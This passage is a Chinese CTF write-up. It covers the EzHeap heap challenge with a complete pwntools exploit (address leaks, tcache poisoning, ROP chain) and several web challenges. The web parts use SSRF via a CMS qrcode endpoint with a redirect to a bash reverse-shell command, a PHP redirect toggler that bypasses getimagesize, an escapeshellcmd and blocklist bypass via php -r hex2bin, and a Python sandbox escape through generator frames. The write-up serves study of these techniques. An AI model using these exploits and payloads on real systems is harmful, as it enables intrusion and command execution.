  1. 之后多次伪造,泄露heap地址和与environ相关的chunk。最终借助chunk4泄露stack地址。变化如下:

    1. Chunk 0: 多次被编辑,大小变化为 0x1f8 -> 0x501 -> 0x401 -> 0x4e1
    2. Chunk 1: 初始大小为 0x4f0,被删除并重新分配。
    3. Chunk 2: 大小为 0x1f8,未修改。
    4. Chunk 3: 大小为 0xf0
    5. Chunk 4: 大小为 0x10,用于泄露栈地址。
    6. Chunk 5: 大小为 0x10
    7. Chunk 6: 大小为 0x10
  2. EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python3

from pwn import *

exe = ELF("./EzHeap_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.log_level = 'debug'
context.arch = exe.arch
context.terminal = ['tmux', 'splitw', '-h']

args.LOCAL = 1
args.DEBUG = 0

context.binary = exe

# MENU工具

def choose(r,choice):
r.sendlineafter('>> ',str(choice))

def add(r,choice,content):
choose(r,1)
r.sendlineafter(':',str(choice))
r.sendafter('content:',content)

def edit(r,choice,length,content):
choose(r,3)
r.sendlineafter(':',str(choice))
r.sendlineafter(':',str(length))
r.sendafter('content:',content)

def show(r,choice):
choose(r,4)
r.sendlineafter(':',str(choice))

def delete(r,choice):
choose(r,2)
r.sendlineafter(':\n',str(choice))

def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)

return r

def main():
r = conn()

# Libc Base Leak
add(r,0x1f8,b'AA')
add(r,0x4f0,b'AA')
add(r,0x1f8,b'AA')
delete(r,1)
edit(r,0,0x200,b'A'*0x200)
show(r,0)
recv_data = r.recvuntil(b'\x7f')
leak = u64(recv_data[recv_data.rfind(b'\x7f')-5:recv_data.rfind(b'\x7f')+1] + b'\x00\x00')
libc_base = leak - libc.sym['_IO_2_1_stdin_']
libc_base &= 0xfffffffffffff000 # 对齐到页面边界
libc.address = libc_base

log.success(f'libc_base: {hex(libc_base)}')

# 通过新的libc基地址找gadget_chain需要的gadget
pop_rax_ret=next(libc.search(asm('pop rax; ret')))
pop_rdi_ret=next(libc.search(asm('pop rdi; ret')))
pop_rsi_ret=next(libc.search(asm('pop rsi; ret')))
pop_rdx_ret=next(libc.search(asm('pop rdx; pop rbx; ret')))
syscall_ret=next(libc.search(asm('syscall; ret')))


# Heap Base Leak
edit(r,0,0x240,b'A'*0x1f8+p64(0x501))
add(r,0x4f0,b'AA')
edit(r,0,0x340,b'A'*0x1f8+p64(0x101)+b'\x00'*0xf8+p64(0x401))
delete(r,1)
edit(r,0,0x200,b'A'*0x200)
show(r,0)
# 接收并跳过前面的数据,直到匹配到特定的内容
recv_data = r.recvuntil(b'A' * 0x200)
leaked_data = r.recv(5)
heap_base = u64(leaked_data.ljust(8, b'\x00')) << 12
log.success(f'heap_base: {hex(heap_base)}')

# 用另一个chunk泄露stack
add(r,0xf0,b'AA')
edit(r,0,0x240,b'A'*0x1f8+p64(0x21)+p64(0)+b'\x00'*0x10+p64(0x4e1))
add(r,0x10,b'AAA')
delete(r,1)
edit(r,0,0x240,b'A'*0x1f8+p64(0x21)+p64((heap_base>>12)^(libc.sym['environ']-0x10))+b'\x00'*0x10+p64(0x4e1))
add(r,0x10,b'AAA')
add(r,0x10,b'A'*0x10)
show(r,4)
recv_data = r.recvuntil(b'\x7f')
stack_leak = recv_data[recv_data.rfind(b'\x7f')-5:recv_data.rfind(b'\x7f')+1]
stack_leak_padded = stack_leak.ljust(8, b'\x00')
stack_addr = u64(stack_leak_padded) - (0x758 - 0x5f0)

log.success(f'stack_addr: {hex(stack_addr)}')


# 构建ROP_CHAIN
payload=b'./flag\x00\x00'
payload+=p64(pop_rdi_ret)+p64(stack_addr-0x10)
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rax_ret)+p64(2)

payload+=p64(syscall_ret)
payload+=p64(pop_rax_ret)+p64(0)
payload+=p64(pop_rdi_ret)+p64(3)
payload+=p64(pop_rdx_ret)+p64(0x30)*2
payload+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
payload+=p64(syscall_ret)

payload+=p64(pop_rax_ret)+p64(1)
payload+=p64(pop_rdi_ret)+p64(1)
payload+=p64(pop_rsi_ret)+p64(stack_addr-0x300)
payload+=p64(syscall_ret)

# 进行堆溢出
edit(r,0,0x440,b'a'*0x1f8+p64(0x201)+p64(0)+b'\x00'*0x1f0+p64(0x301))
delete(r,2)
delete(r,1)
edit(r,0,0x440,b'a'*0x1f8+p64(0x201)+p64((heap_base>>12)^(stack_addr-0x10))+b'\x00'*0x1f0+p64(0x301))
add(r,0x1f0,b'aaaa')
add(r,0x1f0,payload)



r.interactive()

if __name__ == "__main__":
main()

WEB

easycms

img

得知迅瑞CMS,卡题至放出提示。

得到提示

img

随后可以猜测出类似于SSRF的利用。

下载源码:

img

猜测关键点:curl/http

img

搜索查到dr_catcher_data

img

结合搜索到的文章https://xz.aliyun.com/t/10002

api目录下搜索:dr_catcher_data

img

二维码是一个利用点:

1
/index.php?s=api&c=api&m=qrcode&thumb=http://localhost:8082/flag.php?cmd=&text=123466

尝试失败发现严重限制127.0.0.1,使用短网址https://tinyurl.com/做302跳转

safe.taobao.com(127.0.0.1)反弹shell即可

1
http://safe.taobao.com/flag.php?cmd=bash -c '{echo,           }|{base64,-d}|{bash,-i}'

生成短网址

https://tinyurl.com/mv9uak7x

填入构造payload

1
/index.php?s=api&c=api&m=qrcode&thumb=https://tinyurl.com/mv9uak7x&text=123466

easycms_revenge

原payload打不通了,试了下,不会重定向了,但是也没审计出别的入口。昨天我猜测dr_catcher_data整个函数处发生过滤,经过很久的审计都没有发现结果,再结合网页断点在“不是一张可用图片”,今天我们猜测实际上过滤在getimagesize上!昨天触发是因为getimagesize过滤不完全而不是dr_catcher_data处发生过滤:

img

于是巧妙绕过两次请求

一次返回图片一次返回重定向即可绕过getimagesize,在第二次进行重定向攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// 记录文件的路径
$recordFile = 'visit_count.txt';

// 读取当前访问次数
$visitCount = intval(file_get_contents($recordFile));

// 增加访问次数
$visitCount++;
file_put_contents($recordFile, $visitCount);

// 根据奇偶性返回不同响应
if ($visitCount % 2 === 1) {
// 奇数次访问,返回图片
header('Content-Type: image/jpeg');
readfile('http://ip/124.jpeg');
} else {
// 偶数次访问,进行 302 重定向
header('Location: http://safe.taobao.com/flag.php?cmd=payload>
exit;
}
?>

Simple_php

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

卡了好久,最大的问题是escapeshellcmd把很多特殊符号都转义了。后来突然意识到,既然它转义了特殊字符,那是不是意味着不用引号也能够在shell中将特殊符号作为字符串?

在这个思路下,可以使用php -r 来执行命令:

1
2
3
4
5
php -r system(hex2bin(
<<<EOF

EOF
));

使用定界符EOF来获取原始数据流,从而绕过引号。

连上之后一看根目录,也没有flag啊?环境变量里也没有。ps aux一下,发现环境中存在mysql应用,尝试连接。试了几个弱口令,别的都会access deny,唯独root会像卡死一样,多试了几次发现可能是mysql的输出没有被重定向?

总之,mysql的查询只能看到报错,后来发现报错之后能看到之前查询的结果,看来应该是linux的流的管理有点问题,导致mysql正常查询的输出结果缓存了?(猜的)

img

就先这样查着吧。

payload:

1
2
3
4
5
6
7
8
9
10
11
select group_concat(schema_name) from information_schema.schemata;
asd;

select group_concat(table_name) from information_schema.tables where table_schema='PHP_CMS';
asd;

select group_concat(column_name) from information_schema.columns where table_name='F1ag_Se3Re7';
asd;

select f1ag66_2024 from PHP_CMS.F1ag_Se3Re7;
asd;

其中asd;的作用是报错带出查询结果。

mossfern

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
print(randrange(1, 10, 2))
def seeds():
print(123)

def waff():
def f():
yield g.gi_frame.f_back

g = f()
for frame in g:
a = frame.f_back.f_back.f_globals['_'*2+'builtins'+'_'*2]
b = frame.f_back.f_back.f_code.co_consts
c = a.str
for x in c(b):
print(x, end=",")
return b
b=waff()

seeds()

参考文章内容,获取到生成器的栈帧,使用f_back获取上一个栈帧为runner.py中exec所执行的代码的栈帧,再取上一个栈帧即为runner.py进程的栈帧,从中即可获取到runner.py的code对象,从中获取到其所用常量元组,即可得到flag。

最后对字符串的检查随便绕过即可。

参考文章https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi%3DDteDsD7md0%3DdG%3Dd3cgOYTD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F